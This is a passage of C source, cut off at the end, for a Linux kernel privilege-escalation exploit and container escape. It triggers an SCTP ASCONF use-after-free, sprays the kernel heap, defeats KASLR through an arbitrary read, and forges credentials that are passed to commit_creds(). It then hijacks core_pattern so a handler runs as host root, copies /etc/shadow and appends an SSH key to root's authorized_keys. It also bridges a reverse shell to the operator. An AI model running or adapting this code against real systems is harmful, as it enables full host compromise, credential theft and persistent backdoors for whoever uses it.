// struct subprocess_info offsets (BTF-verified, CONFIG_RANDSTRUCT off)
#define SI_WORK_DATA  0      // work.data  -> WORK_STRUCT_NO_POOL
#define SI_WORK_ENTRY 8      // work.entry (list_head, self-linked)
#define SI_WORK_FUNC  24     // work.func  -> call_usermodehelper_exec_work
#define SI_COMPLETE   48
#define SI_PATH       56
#define SI_ARGV       64
#define SI_ENVP       72
#define SI_WAIT       80
#define SI_RETVAL     84
#define SI_INIT       88
#define SI_CLEANUP    96
#define SI_DATA       104
// queue_work() only test_and_set()s the PENDING bit (bit 0) of work.data; a zeroed data
// field (bit 0 clear, "no pool" is only consulted on the off-queue path) is accepted, so we
// do not need the exact WORK_OFFQ_* encoding of this kernel version.
#define WORK_STRUCT_NO_POOL 0x0ULL
// free space inside fake_T below the transport fields (lowest used is T2_AF at 192):
#define PF_TO_SK_SADDR 72   // sctp_pf.to_sk_saddr(union sctp_addr*, struct sock*) -- the
                            // call sctp_transport_route+0xc9 actually reaches when dst==0:
                            //   rdi = transport+0x100  (ours), rsi = *(asoc+0x10) (ours)
                            // => call_usermodehelper_exec(info=fake_T+0x100, wait=*(asoc+0x10))
#define UMH_SI_OFF 0x100    // forged subprocess_info lives at fake_T+0x100
// Strings/arrays go in the low unused area of fake_T (below T2_AF at 192); the struct
// itself sits at +0x100 where the reached call site points rdi.
#define UMH_PATHSTR   112    // the "/proc/<gpid>/root/p" string
#define UMH_ARGV_ARR  160    // char *argv[2] = { path, NULL }
#define UMH_ENVP_ARR  176    // char *envp[1] = { NULL }
#define K_CAPS           0x000001ffffffffffULL   // CAP_FULL_SET
#define AF_GET_DST  24
#define AF_GET_SADDR 32

// Leak the victim association's kernel address from /proc/net/sctp/assocs
// (guest has no_hash_pointers). Match by LPORT==vport && RPORT==bport.
static uint64_t leak_asoc(int vport,int bport){
	char b[16384]; int fd=open("/proc/net/sctp/assocs",O_RDONLY); if(fd<0)return 0;
	int n=read(fd,b,sizeof b-1); close(fd); if(n<0)return 0; b[n]=0;
	for(char *line=strtok(b,"\n"); line; line=strtok(NULL,"\n")){
		unsigned long long assoc=0,sock=0; int lp=0,rp=0;
		// ASSOC SOCK STY SST ST HBKT ASSOC-ID TX RX UID INODE LPORT RPORT ...
		if(sscanf(line,"%llx %llx %*d %*d %*d %*d %*d %*d %*d %*d %*d %d %d",
		          &assoc,&sock,&lp,&rp)>=4 && lp==vport && rp==bport)
			return assoc;
	}
	return 0;
}

// One full UAF: multi-homed assoc on (VPORT,BPORT), confirm del_ip -> ACTIVE,
// disable its HB, inject the ASCONF. Returns accepted socket (assoc alive,
// primary_path/active_path dangling to the freed transport). Uses globals VPORT/BPORT.
static uint32_t g_tag,g_tsn;
static char g_comm[16];   // our task->comm (set in main), for the arb-read self-check
static uint64_t g_fakeT=0;   // fake_T addr; arb_read32 points reclaimed read-victims here so an
                             // async flush resolves (dst=0 -> early return) instead of crashing
// UMH escape: path call_usermodehelper() will exec AS HOST ROOT. It is resolved in the INIT
// mount ns (the HOST rootfs), NOT the container's -- a container-local path would not exist
// there. We therefore target a short, fixed HOST path. Getting our payload bytes onto the
// host fs is the container-specific part (see stage_umh_payload): the container's overlay
// upperdir is host-visible, but its path is long/unknown from inside, so by default we exec
// an existing host binary whose side effect proves host-root execution. UMH_PATH overrides.
static char g_umh_path[64];
static uint32_t g_global_pid=0;   // our pid in the INIT pid ns (leaked from task_struct.pid)
static void build_umh_path(void){
	const char *p=getenv("UMH_PATH");
	if(!p) p="/umh_payload.sh";          // host-root path; see stage_umh_payload()
	snprintf(g_umh_path,sizeof g_umh_path,"%s",p);
}
// ---- interactive host-root shell (SHELL=1) ----
// The host-root payload is a reverse shell that connects back to a listener THIS process
// opens in the container's network namespace. We then bridge the accepted socket to our
// own stdin/stdout, so `docker exec -it <c> /lpe_vm SHELL=1` drops the operator straight
// into a root shell ON THE HOST. 
static char **g_argv=0;                  // saved for self-re-exec on a clean miss
static int  g_shell_lfd=-1, g_shell_port=0;
static char g_shell_ip[64]={0};
static int shell_mode(void){ return getenv("SHELL_ESC")!=0; }
static void shell_get_ip(void){
	struct ifaddrs *ifa,*p; if(getifaddrs(&ifa)) return;
	for(p=ifa;p;p=p->ifa_next){
		if(!p->ifa_addr || p->ifa_addr->sa_family!=AF_INET) continue;
		if(!(p->ifa_flags&IFF_UP) || (p->ifa_flags&IFF_LOOPBACK)) continue;
		inet_ntop(AF_INET,&((struct sockaddr_in*)p->ifa_addr)->sin_addr,g_shell_ip,sizeof g_shell_ip);
		break;
	}
	freeifaddrs(ifa);
}
static int shell_listen(void){
	shell_get_ip(); if(!g_shell_ip[0]) return -1;
	g_shell_lfd=socket(AF_INET,SOCK_STREAM,0); if(g_shell_lfd<0) return -1;
	int one=1; setsockopt(g_shell_lfd,SOL_SOCKET,SO_REUSEADDR,&one,sizeof one);
	struct sockaddr_in a={.sin_family=AF_INET,.sin_addr.s_addr=INADDR_ANY};
	g_shell_port=getenv("SHELL_PORT")?atoi(getenv("SHELL_PORT")):41414;
	a.sin_port=htons(g_shell_port);
	if(bind(g_shell_lfd,(void*)&a,sizeof a)<0 || listen(g_shell_lfd,1)<0){ close(g_shell_lfd); g_shell_lfd=-1; return -1; }
	return 0;
}
// accept the reverse shell and pump it to/from our terminal until it closes
static void shell_bridge(void){
	struct pollfd pf={.fd=g_shell_lfd,.events=POLLIN};
	if(poll(&pf,1,12000)<=0){ printf("[shell] reverse connection did not arrive\n"); return; }
	int c=accept(g_shell_lfd,0,0); if(c<0){ printf("[shell] accept failed\n"); return; }
	printf("\n============================================================\n");
	printf("  YOU ARE NOW ROOT ON THE HOST (escaped the container).\n");
	printf("  Try:  id ;  hostname ;  cat /etc/shadow ;  uname -a\n");
	printf("  (type 'exit' to end)\n");
	printf("============================================================\n"); fflush(stdout);
	struct pollfd fds[2]={{.fd=0,.events=POLLIN},{.fd=c,.events=POLLIN}};
	char buf[4096];
	for(;;){
		if(poll(fds,2,-1)<0) break;
		if(fds[0].revents&POLLIN){ int n=read(0,buf,sizeof buf); if(n<=0) break; if(write(c,buf,n)<0) break; }
		if(fds[1].revents&POLLIN){ int n=read(c,buf,sizeof buf); if(n<=0) break; if(write(1,buf,n)<0) break; }
		if((fds[1].revents&(POLLHUP|POLLERR))) break;
	}
	close(c);
	printf("\n[shell] host-root session closed.\n"); fflush(stdout);
}
// Fork a detached child that holds ALL victim/spray fds open forever, then let the MAIN
// process exit cleanly. The dangling SCTP sockets keep a refcount via the child, so they
// are never sctp_close()'d -> no crash -- and the caller (docker exec / a retry loop) gets
// control back. The child drops 0/1/2 so it doesn't pin the caller's TTY.
static void hold_and_exit(int code){
	fflush(stdout);
	pid_t c=fork();
	if(c==0){ setsid(); close(0); close(1); close(2); for(;;) pause(); }
	_exit(code);
}
// clean (non-crash) miss: exit non-zero so an external `until` loop retries a FRESH process.
// (Re-exec was tried and rejected: it accumulated dangling SCTP state that crashed on close.)
static void retry_or_hold(const char *why){
	printf("[retry] %s -- exiting for a fresh attempt (victims held, no crash)\n",why);
	hold_and_exit(2);
}
static int g_defer_free=0;
static uint32_t g_sv_tag,g_sv_tsn; static int g_sv_vport,g_sv_bport;
static int setup_uaf(int nadd, uint32_t del_ip){
	int one=1;
	int L=socket(AF_INET,SOCK_STREAM,IPPROTO_SCTP); if(L<0) die("L");
	setsockopt(L,SOL_SOCKET,SO_REUSEADDR,&one,sizeof one);
	enable_asconf_auth(L);   // victim ep: negotiates peer.asconf_capable + auth_capable
	struct sockaddr_in vaddr={.sin_family=AF_INET,.sin_port=htons(VPORT),.sin_addr.s_addr=LOOP};
	if(bind(L,(void*)&vaddr,sizeof vaddr)<0) die("bindL");
	if(listen(L,8)<0) die("listen");
	int pfd[2]; pipe(pfd);
	if(fork()==0){ close(pfd[0]); sniff_handshake(pfd[1]); }
	if(fork()==0){ close(pfd[0]); close(pfd[1]); peer_b(nadd,vaddr,del_ip); }
	close(pfd[1]);
	{ struct pollfd pf={.fd=L,.events=POLLIN};                 // don't hang forever if peer_b's handshake stalls
	  if(poll(&pf,1,5000)<=0){ printf("[uaf %d] accept timeout (peer stalled)\n",VPORT); close(L); close(pfd[0]); return -1; } }
	int A=accept(L,NULL,NULL); if(A<0){ close(L); close(pfd[0]); return -1; }
	struct hs h; if(read(pfd[0],&h,sizeof h)!=(ssize_t)sizeof h){ memset(&h,0,sizeof h); }
	g_tag=h.vtag_a; g_tsn=h.serial; g_hs=h;
	char lip[32]; struct in_addr ia={htonl(del_ip)}; strcpy(lip,inet_ntoa(ia));
	int confirmed=0;
	for(int t=0;t<40 && !confirmed;t++){
		struct paddrparams pp; memset(&pp,0,sizeof pp);
		pp.spp_flags=SPP_HB_ENABLE_|SPP_HB_DEMAND_; pp.spp_hbinterval=100;
		((struct sockaddr_in*)pp.spp_address)->sin_family=AF_INET;
		setsockopt(A,SOL_SCTP_,SCTP_PEER_ADDR_PARAMS_,&pp,sizeof pp);
		usleep(120000);
		if(path_state(lip)==2) confirmed=1;
	}
	if(!confirmed){ printf("[uaf %d] confirm FAILED\n",VPORT); return -1; }
	{ struct paddrparams pp; memset(&pp,0,sizeof pp); pp.spp_flags=SPP_HB_DISABLE_;
	  struct sockaddr_in *pa=(void*)pp.spp_address; pa->sin_family=AF_INET;
	  pa->sin_port=htons(BPORT); pa->sin_addr.s_addr=htonl(del_ip);
	  setsockopt(A,SOL_SCTP_,SCTP_PEER_ADDR_PARAMS_,&pp,sizeof pp); }
	// Disable HB on ALL paths (0.0.0.0) too: the dangling victim must have NO armed
	// timer, or a heartbeat flush would walk its reclaimed active_path (bad data on a
	// noise-reclaim) and crash sctp_packet_config asynchronously.
	{ struct paddrparams pp; memset(&pp,0,sizeof pp); pp.spp_flags=SPP_HB_DISABLE_;
	  ((struct sockaddr_in*)pp.spp_address)->sin_family=AF_INET;   // 0.0.0.0 = all
	  setsockopt(A,SOL_SCTP_,SCTP_PEER_ADDR_PARAMS_,&pp,sizeof pp); }
	usleep(120000);
	if(g_defer_free){                       // return with transport ALIVE
		g_sv_tag=g_tag; g_sv_tsn=g_tsn; g_sv_vport=VPORT; g_sv_bport=BPORT; g_sv_hs=g_hs;
		printf("[uaf %d] assoc confirmed, DEL-IP deferred (transport alive)\n",VPORT);
		return A;
	}
	int raw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
	setsockopt(raw,IPPROTO_IP,IP_HDRINCL,&one,sizeof one);
	struct sockaddr_in dst={.sin_family=AF_INET,.sin_addr.s_addr=LOOP};
	uint8_t sctp[256],ip[400];
	if(g_use_auth) set_cur_auth(&g_hs);
	int sl=asconf(sctp,g_tag,g_tsn);
	int il=ip_wrap(ip,g_src,LOOP,sctp,sl);
	sendto(raw,ip,il,0,(void*)&dst,sizeof dst); close(raw);
	syscall(SYS_membarrier,1,0,-1);
	printf("[uaf %d] transport %s freed (assoc alive)\n",VPORT,lip);
	return A;
}
// Fire the deferred DEL-IP (frees A2's transport now). Uses the saved tag/tsn/ports.
static void fire_delip(void){
	int one=1, svp=VPORT, sbp=BPORT; VPORT=g_sv_vport; BPORT=g_sv_bport;
	int raw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
	setsockopt(raw,IPPROTO_IP,IP_HDRINCL,&one,sizeof one);
	struct sockaddr_in dst={.sin_family=AF_INET,.sin_addr.s_addr=LOOP};
	uint8_t sctp[256],ip[400];
	if(g_use_auth) set_cur_auth(&g_sv_hs);
	int sl=asconf(sctp,g_sv_tag,g_sv_tsn);
	int il=ip_wrap(ip,g_src,LOOP,sctp,sl);
	sendto(raw,ip,il,0,(void*)&dst,sizeof dst); close(raw);
	syscall(SYS_membarrier,1,0,-1);
	VPORT=svp; BPORT=sbp;
}

int main_two_uaf(void);
int main(int ac,char **av){
	// SCTP ASCONF DEL-IP use-after-free -> unprivileged local user -> root.
	// Self-contained: leaks a physmap address and the KASLR text slide, then runs
	// commit_creds() through a data-only fake-object graph. No ROP, no shellcode.
	signal(SIGPIPE,SIG_IGN); setbuf(stdout,NULL);
	g_argv=av;                   // saved for self-re-exec on a clean miss (SHELL/retry)
	prctl(PR_GET_NAME,g_comm);   // our task->comm, for the pointer-walk self-check (any binary name)
	build_umh_path();            // UMH escape target (resolved by the kernel in the INIT mount ns)
	// Pin to CPU0 so the DEL-IP loopback-RX softirq, the RCU transport-free callback, and our
	// authkey reclaim spray all hit ONE per-cpu slab freelist -> the reclaim lands reliably
	// (cross-CPU frees/allocs were leaving the slot as poison -> getsockopt panic on miss).
	{ cpu_set_t cs; CPU_ZERO(&cs); CPU_SET(0,&cs); sched_setaffinity(0,sizeof cs,&cs); }
	{ struct rlimit rl={8192,8192}; setrlimit(RLIMIT_NOFILE,&rl); }  // many pre-created victims
	setenv("DELIP","7f000003",1);       // DEL target = a confirmed-active secondary
	g_src = getenv("SRC") ? inet_addr(getenv("SRC")) : 0;   // 0 = auto-detect in ns()
	ns();                                // container: per-socket enable + source select
	return main_two_uaf();               // the whole chain (see below)
}

// ================= two-UAF fake-cred LPE (XPL=1) =================
// Object graph (all in attacker-controlled, contiguous pgv pages; base = leaked
// block25 addr P; BLK(i)=P+(i-25)*4096):
//   fake_T   (blk103): struct cred[0..167] + struct sctp_transport[168..]
//                      af_specific=fake_af, asoc=fake_asoc, dst=0, pathmtu, param_flags=0
//   fake_af  (blk40) : get_dst=commit_creds, get_saddr=ret, net_header_len
//   fake_asoc(blk42) : base.sk=fake_sk, param_flags=0, pmtu_pending=0, pathmtu
//   fake_sk  (blk50) : pf=fake_pf, udp_port=0
//   fake_pf  (blk60) : af=fake_af
//   scratch  (blk70) : writable dumping ground for list_add_tail(chunk_list)
// tp1 (msg_msg-reclaimed freed transport): a clean sctp_packet at +776 whose
//   ->transport = fake_T. select_transport(active_path=tp1) -> packet_config(tp1)
//   reaches sctp_transport_route -> af->get_dst(fake_T)=commit_creds(fake_T=root
//   cred) -> current is root. dst=0 makes packet_config return at "if(!tp->dst)".
// --- struct cred offsets (pahole) ---
#define C_USAGE 0
#define C_CAP_PERM 56
#define C_CAP_EFF  64
#define C_CAP_BSET 72
#define C_USER 136
#define C_USER_NS 144
#define C_UCOUNTS 152
#define C_GROUPINFO 160
// --- sctp_transport ---
#define T2_AF 192
#define T2_ASOC 200
#define T2_BURST 244
#define T2_DST 248
#define T2_PATHMTU 360
#define T2_PARAMFLAGS 364
// --- sctp_af ---
#define AF_NHLEN 176
// --- sctp_association ---
#define A2_BASE_SK 16
#define A2_PMTU_PENDING 657
#define A2_PATHMTU 660
#define A2_PARAMFLAGS 664
// --- sctp_sock / sctp_pf ---
#define SK_PF 1152
#define SK_UDPPORT 1228
#define PF_AF 96
// --- sctp_packet (relative to transport object, packet@+776) ---
#define P_VTAG 724
#define P_CHUNKLIST_NEXT 728
#define P_CHUNKLIST_PREV 736
#define P_OVERHEAD 744
#define P_SIZE 752
#define P_TRANSPORT 768
#define P_AUTH 776
#define P_HAS_COOKIE 784
#define T2_SENDREADY 792
// ---- msg_msg spray (unprivileged kmalloc-1024): struct msg_msg header is 48
// bytes, so object offset O maps to mtext[O-48]. 48+976 = 1024 -> kmalloc-1024. ----
#define MSG_HDR  48
#define MSG_DATA 976
static int g_msq[512]; static int g_nmsq=0;
static long msg_spray(const uint8_t *mtext, int want){
	struct { long mtype; char mtext[MSG_DATA]; } mb;
	mb.mtype=1; memcpy(mb.mtext,mtext,MSG_DATA);
	long sent=0;
	while(sent<want && g_nmsq<512){
		int q=msgget(IPC_PRIVATE,0644|IPC_CREAT);
		if(q<0) break;
		g_msq[g_nmsq++]=q;
		for(int k=0;k<64 && sent<want;k++){
			if(msgsnd(q,&mb,MSG_DATA,IPC_NOWAIT)==0) sent++;
			else break;   // queue full (msgmnb) -> next queue
		}
	}
	return sent;
}
// ---- KASLR cold-start leak via a 4-byte arbitrary read ----
// SCTP_STATUS computes spinfo_assoc_id = sctp_assoc2id(transport->asoc) =
// *(transport->asoc + offsetof(assoc_id)=168). We fully control transport->asoc
// (offset 176) via the reclaim, so *(T) is read by pointing asoc = T-168.
// Then read the IDT (fixmap, KASLR-independent VA from unprivileged `sidt`):
// gate 0's handler = asm_exc_divide_error (a .text symbol) -> text slide.
#define A_ASSOCID_OFF 144
#define K_IDT0_HANDLER 0xffffffff81e009a0ULL   // asm_exc_divide_error (vector 0), base
static int g_leakport=20050;
static uint64_t idt_base(void){
	unsigned char b[10];
	asm volatile("sidt %0" : "=m"(b) : : "memory");
	uint64_t base=0; for(int i=0;i<8;i++) base|=(uint64_t)b[2+i]<<(8*i);
	return base;
}
// ---- pre-created victim pool ----
// KEY (verified via NOWALK): a victim whose association was set up EARLY (handshake
// long settled) reclaims reliably; a victim created FRESH right before the reclaim
// misses (a zeroing kzalloc from the fresh handshake churn takes the freed slot ->
// NULL af_specific -> fatal getstatus). So set up ALL read-victims up front, then per
// read just fire the (deferred) DEL-IP + settle + spray + getstatus.
#define NVIC 96
static int g_vfd[NVIC]; static uint32_t g_vtag[NVIC],g_vtsn[NVIC]; static int g_vvp[NVIC],g_vbp[NVIC];
static struct hs g_vhs[NVIC];   // per-victim handshake for the forged AUTH
static int g_nvic=0, g_vnext=0;
static void precreate_victims(int n){
	int save=g_defer_free; g_defer_free=1;
	for(int i=0;i<n && g_nvic<NVIC;i++){
		VPORT=g_leakport; BPORT=g_leakport+1; g_leakport+=2;
		if(getenv("PREMARK")) printf("[pre] victim %d/%d port %d (uid1001 procs may be many)\n",g_nvic,n,VPORT);
		int A=setup_uaf(2,0x7f000003);
		if(A<0) continue;
		g_vfd[g_nvic]=A; g_vtag[g_nvic]=g_sv_tag; g_vtsn[g_nvic]=g_sv_tsn;
		g_vvp[g_nvic]=g_sv_vport; g_vbp[g_nvic]=g_sv_bport; g_vhs[g_nvic]=g_sv_hs; g_nvic++;
	}
	g_defer_free=save;
	printf("[walk] pre-created %d read-victims\n",g_nvic);
}
static uint32_t arb_read32(uint64_t p_zero, uint64_t scratch, uint64_t target){
	if(g_vnext>=g_nvic) return 0xffffffffu;      // pool exhausted
	int vi=g_vnext++;
	if(getenv("RDLOG")){ int kf=open("/dev/kmsg",O_WRONLY); if(kf>=0){ char b[96];
		int n=snprintf(b,sizeof b,"RDLOG rd vi=%d target=%#llx nvic=%d\n",vi,(unsigned long long)target,g_nvic);
		if(write(kf,b,n)<0){} close(kf); } }
	g_sv_tag=g_vtag[vi]; g_sv_tsn=g_vtsn[vi]; g_sv_vport=g_vvp[vi]; g_sv_bport=g_vbp[vi]; g_sv_hs=g_vhs[vi];
	fire_delip();                                 // free victim vi's transport NOW
	uint8_t pay[1024]; memset(pay,0,sizeof pay);
	#define L64(off,v) (*(uint64_t*)(pay+(off))=(uint64_t)(v))
	#define L32(off,v) (*(uint32_t*)(pay+(off))=(uint32_t)(v))
	L64(T2_AF, p_zero);                 // af_specific -> zeroed page (sockaddr_len@+180=0)
	L64(T2_ASOC, target-A_ASSOCID_OFF); // asoc -> so assoc_id read == *(target)
	L32(OFF_CWND, 0x51ac0de5u);         // landing marker: spinfo_cwnd==MARK iff OUR object landed
	L32(T2_BURST,1);
	L64(P_CHUNKLIST_NEXT,scratch); L64(P_CHUNKLIST_PREV,scratch);
	L64(P_OVERHEAD,0); L64(P_SIZE,0);
	L64(P_TRANSPORT,g_fakeT?g_fakeT:p_zero);   // resolving fake_T -> async flush returns early (dst=0), no crash
	L64(T2_SENDREADY,0);
	#undef L64
	#undef L32
	// Reclaim the RCU-freed slot, then VALIDATE via the cwnd marker before trusting the
	// assoc_id read: a stale/foreign object returns a different cwnd -> keep spraying; a
	// full miss returns 0xffffffff so leak_ptr/leak64_chk retry a fresh victim instead of
	// consuming a hop on garbage (garbage that, ORed with cached g_khi, looks canonical).
	int waves=getenv("WALK_WAVES")?atoi(getenv("WALK_WAVES")):18;
	int batch=getenv("WALK_BATCH")?atoi(getenv("WALK_BATCH")):6000;
	int settle=getenv("WALK_SETTLE")?atoi(getenv("WALK_SETTLE")):35000;
	for(int w=0; w<waves; w++){
		authkey_spray(pay,batch); usleep(settle);
		struct sctp_status_ st; memset(&st,0,sizeof st); socklen_t l=sizeof st;
		if(getsockopt(g_vfd[vi],SOL_SCTP_,SCTP_STATUS_,&st,&l)==0
		   && st.sstat_primary.spinfo_cwnd==0x51ac0de5u)
			return st.sstat_primary.spinfo_assoc_id;   // validated: our object landed
	}
	return 0xffffffffu;                 // never landed -> caller retries a fresh victim
}
// 8-byte read, retried until both halves look like a canonical kernel pointer (or a
// small integer). Values are deterministic, so a reclaim-miss (garbage) just retries.
static int g_zero_scratch_ready=0; static uint64_t g_zk,g_sk;
static uint64_t leak64_chk(uint64_t addr,int want_ptr){
	for(int t=0;t<3;t++){
		uint32_t lo=arb_read32(g_zk,g_sk,addr);
		uint32_t hi=arb_read32(g_zk,g_sk,addr+4);
		if(lo==0xffffffffu||hi==0xffffffffu) continue;
		uint64_t v=((uint64_t)hi<<32)|lo;
		if(!want_ptr) return v;
		// canonical kernel VA: bits 47..63 all set  (heap/direct-map/text/percpu)
		if(v>=0xffff800000000000ULL) return v;
	}
	return 0;
}
// ---- data-only kernel-pointer walk: find A2's sctp_association ----
// kptr_restrict=1 blocks /proc pointer leaks, so recover `current` from the per-cpu
// current_task and walk fd -> socket -> sk -> sctp ep -> asoc using the arbitrary read.
#define K_PERCPU_OFFSET   0xffffffff825d3b00ULL // __per_cpu_offset[]
#define PCPU_CURRENT      0x33b40              // pcpu_hot.current_task (percpu offset)
#define TS_FILES          3728
#define FILES_FDT         32
#define FDT_FD            8
#define FILE_PRIV         200
#define SOCK_SK           24
#define SCTPSOCK_EP       1176
#define EP_ASOCS          152
#define ASOC_ASOCS        128
#define ASOC_ACTIVE_PATH  368
#define ASOC_PRIMARY_PATH 328
#define ASOC_BASE_SK      16
typedef unsigned long long ull;
static uint64_t g_khi=0;   // cached high-32 of heap/direct-map pointers (all share it)
// read a pointer using cached high bits (1 arb_read) once g_khi is known; heap misses
// then just yield a non-heap-consistent value that the base.sk check will reject.
static uint64_t leak_ptr(uint64_t addr){
	for(int t=0;t<4 && g_vnext<g_nvic;t++){
		uint32_t lo=arb_read32(g_zk,g_sk,addr); if(lo==0xffffffffu) continue;  // validated miss -> retry fresh victim
		uint64_t v=(g_khi<<32)|(uint64_t)lo; if(v>=0xffff800000000000ULL) return v;
	}
	return 0;
}
static uint64_t find_asoc1(uint64_t slide, int fd){
	int cpu=sched_getcpu(); if(cpu<0)cpu=0;
	uint64_t pcpu=leak64_chk(K_PERCPU_OFFSET+slide+(uint64_t)cpu*8,1); if(!pcpu) return 0;
	uint64_t cur =leak64_chk(pcpu+PCPU_CURRENT,1);                     if(!cur) return 0;
	uint64_t c0=leak64_chk(cur+3656,0),c1=leak64_chk(cur+3664,0);      // task->comm[16] self-check
	char nm[17]; memcpy(nm,&c0,8); memcpy(nm+8,&c1,8); nm[16]=0;
	if(strncmp(nm,g_comm,strlen(g_comm))!=0){ printf("[walk] current=0x%llx comm='%s' != '%s' (miss)\n",(ull)cur,nm,g_comm); return 0; }
	g_khi = cur>>32;                                                   // cache heap high bits
	// UMH escape: read task_struct.pid (offset 3152). This is the pid in the INIT pid ns --
	// i.e. our GLOBAL pid -- which a PID-namespaced container cannot learn from /proc (its
	// own /proc is namespaced). With it we can name a path the kernel CAN resolve in the
	// init mount ns: /proc/<globalpid>/root/... re-enters this container's rootfs.
	{ uint32_t gp=arb_read32(g_zk,g_sk,cur+3152);
	  if(gp && gp!=0xffffffffu && gp<0x400000){ g_global_pid=gp;
	    printf("[walk] global pid=%u (container-visible pid=%d)\n",gp,getpid()); fflush(stdout); } }
	uint64_t files=leak_ptr(cur+TS_FILES);   if(!files) return 0;
	uint64_t fdt =leak_ptr(files+FILES_FDT); if(!fdt) return 0;
	uint64_t fda =leak_ptr(fdt+FDT_FD);      if(!fda) return 0;
	uint64_t filep=leak_ptr(fda+(uint64_t)fd*8); if(!filep) return 0;
	uint64_t sock=leak_ptr(filep+FILE_PRIV); if(!sock) return 0;
	uint64_t sk  =leak_ptr(sock+SOCK_SK);    if(!sk) return 0;
	uint64_t ep  =leak_ptr(sk+SCTPSOCK_EP);  if(!ep) return 0;
	uint64_t an  =leak_ptr(ep+EP_ASOCS);     if(!an) return 0;
	uint64_t asoc=an-ASOC_ASOCS;
	uint64_t bsk =leak_ptr(asoc+ASOC_BASE_SK);   // consistency: asoc->base.sk MUST equal sk
	if(bsk!=sk){ printf("[walk] base.sk=0x%llx != sk=0x%llx (a hop missed)\n",(ull)bsk,(ull)sk); return 0; }
	printf("[walk] comm='poc' cur=0x%llx sk=0x%llx => asoc=0x%llx (base.sk verified)\n",(ull)cur,(ull)sk,(ull)asoc);
	return asoc;
}
static uint64_t find_asoc(uint64_t slide, int fd){
	for(int t=0;t<2;t++){ g_khi=0; uint64_t a=find_asoc1(slide,fd);
		if(a>=0xffff800000000000ULL) return a;
		printf("[walk] attempt %d failed; retry (victims left=%d)\n",t,g_nvic-g_vnext); }
	return 0;
}
// Recover the KASLR text slide. gate 0 handler low32 = (base low16) | (off_mid<<16);
// slide is 2MB-aligned so it lives entirely in off_mid.
// The IDT is mapped read-only at CPU_ENTRY_AREA_RO_IDT == CPU_ENTRY_AREA_BASE, a
// FIXED KASLR-independent VA (sidt is blocked by UMIP -> returns a dummy). Gate 0
// (#DE) handler = asm_exc_divide_error; the 2MB-aligned slide lives in offset_middle.
#define K_IDT_RO 0xfffffe0000000000ULL   // CPU_ENTRY_AREA_BASE (x86-64 4-level)
static uint64_t leak_slide(uint64_t p_zero, uint64_t scratch){
	// A real x86-64 KASLR text slide is 2MB-aligned and within the randomization window.
	// A reclaim-miss makes arb_read32 return garbage (e.g. the pre-slide base -> slide=0),
	// which used to be accepted and then crashed the walk. Retry until two successful reads
	// agree AND the value is a plausible slide, so a stray miss can't poison the whole run.
	uint64_t prev=~0ULL;
	for(int t=0;t<16;t++){
		uint32_t g4=arb_read32(p_zero,scratch, K_IDT_RO + 0*16 + 4);   // {bits, offset_middle}
		if(g4==0xffffffffu) continue;                                  // miss -> retry
		uint16_t off_mid=(uint16_t)(g4>>16);
		uint64_t handler=0xffffffff00000000ULL | (K_IDT0_HANDLER & 0xffffULL) | ((uint64_t)off_mid<<16);
		uint64_t slide=handler - K_IDT0_HANDLER;
		if((slide & 0x1fffffULL) || slide==0 || slide > 0x40000000ULL){ prev=~0ULL; continue; } // implausible
		if(slide==prev){
			printf("IDT gate0.mid=0x%04x -> handler=0x%llx -> slide=0x%llx (stable)\n",
			       off_mid,(unsigned long long)handler,(unsigned long long)slide);
			return slide;
		}
		prev=slide;
	}
	printf(" leak_slide: no stable slide (reclaim too noisy this boot)\n");
	return 0;
}
// True only for GLOBAL root (init_user_ns, CAP_DAC_OVERRIDE over host files).
static int can_read_shadow(void){
	int fd=open("/etc/shadow",O_RDONLY);
	if(fd<0) return 0;
	char b[8]; int n=read(fd,b,sizeof b); close(fd);
	return n>0;
}
// Container-correct success signal: default Docker drops CAP_SYS_ADMIN, so its
// appearance after the trigger == commit_creds() installed the fake cred
// (CAP_FULL_SET in init_user_ns) i.e. host-level root, even though uid was already 0.
static unsigned long long cap_effective(void){
	struct { uint32_t version; int pid; } hdr = { 0x20080522u, 0 };   // _LINUX_CAPABILITY_VERSION_3
	struct { uint32_t eff, perm, inh; } d[2] = {{0,0,0},{0,0,0}};
	if(syscall(SYS_capget,&hdr,d)!=0) return ~0ULL;
	return ((unsigned long long)d[1].eff<<32)|d[0].eff;
}
static int cap_sysadmin(void){ unsigned long long m=cap_effective(); return m==~0ULL?-1:(int)((m>>21)&1); }  // CAP_SYS_ADMIN=21

// ---- container -> host-root escape via the core_pattern usermodehelper ----
// cgroup-agnostic (works on cgroup v2). Once commit_creds() gave us CAP_SYS_ADMIN
// in the INIT user ns, we can set the GLOBAL kernel.core_pattern to pipe crashes
// into a handler that the kernel runs AS HOST ROOT in the host mount namespace.
static int open_core_pattern(void){
	int fd=open("/proc/sys/kernel/core_pattern",O_WRONLY);
	if(fd>=0) return fd;
	mkdir("/tmp/.p",0755);                       // Docker mounts /proc/sys ro -> mount a fresh procfs
	if(mount("proc","/tmp/.p","proc",0,NULL)==0){
		fd=open("/tmp/.p/sys/kernel/core_pattern",O_WRONLY);
		if(fd>=0) return fd;
	}
	mount(NULL,"/proc/sys",NULL,MS_REMOUNT,NULL);
	return open("/proc/sys/kernel/core_pattern",O_WRONLY);
}
static int host_escape(void){
	// Handler written into the CONTAINER root; the kernel executes it as HOST ROOT
	// in the host mount ns on a core dump, $1 = dumper host PID. /etc/* are the
	// HOST's; /proc/$1/root/... writes results back into the container.
	const char *H =
		"#!/bin/sh\n"
		"C=\"$1\"; R=\"/proc/$C/root\"\n"
		"{ echo \"[HOST-ROOT] id=$(id)\"; echo \"[HOST] host=$(hostname) kernel=$(uname -r)\"; } > \"$R/tmp/escape_result\" 2>&1\n"
		"cp /etc/shadow \"$R/tmp/host_shadow\" 2>/dev/null\n"
		"if [ -f \"$R/tmp/esc_pubkey\" ]; then mkdir -p /root/.ssh; cat \"$R/tmp/esc_pubkey\" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; fi\n"
		"echo \"container-escape uid0+CAP_FULL_SET from $(cat $R/etc/hostname 2>/dev/null)\" > /CONTAINER_ESCAPE_PROOF_ON_HOST 2>/dev/null\n"
		"sync\n";   // persist the host proof so it survives the post-payload guest panic
	int fd=open("/esc_handler.sh",O_WRONLY|O_CREAT|O_TRUNC,0755);
	if(fd<0) return -1;
	if(write(fd,H,strlen(H))<0){} close(fd);
	fd=open_core_pattern();
	if(fd<0){ printf("[esc] cannot open core_pattern (no CAP_SYS_ADMIN?)\n"); return -1; }
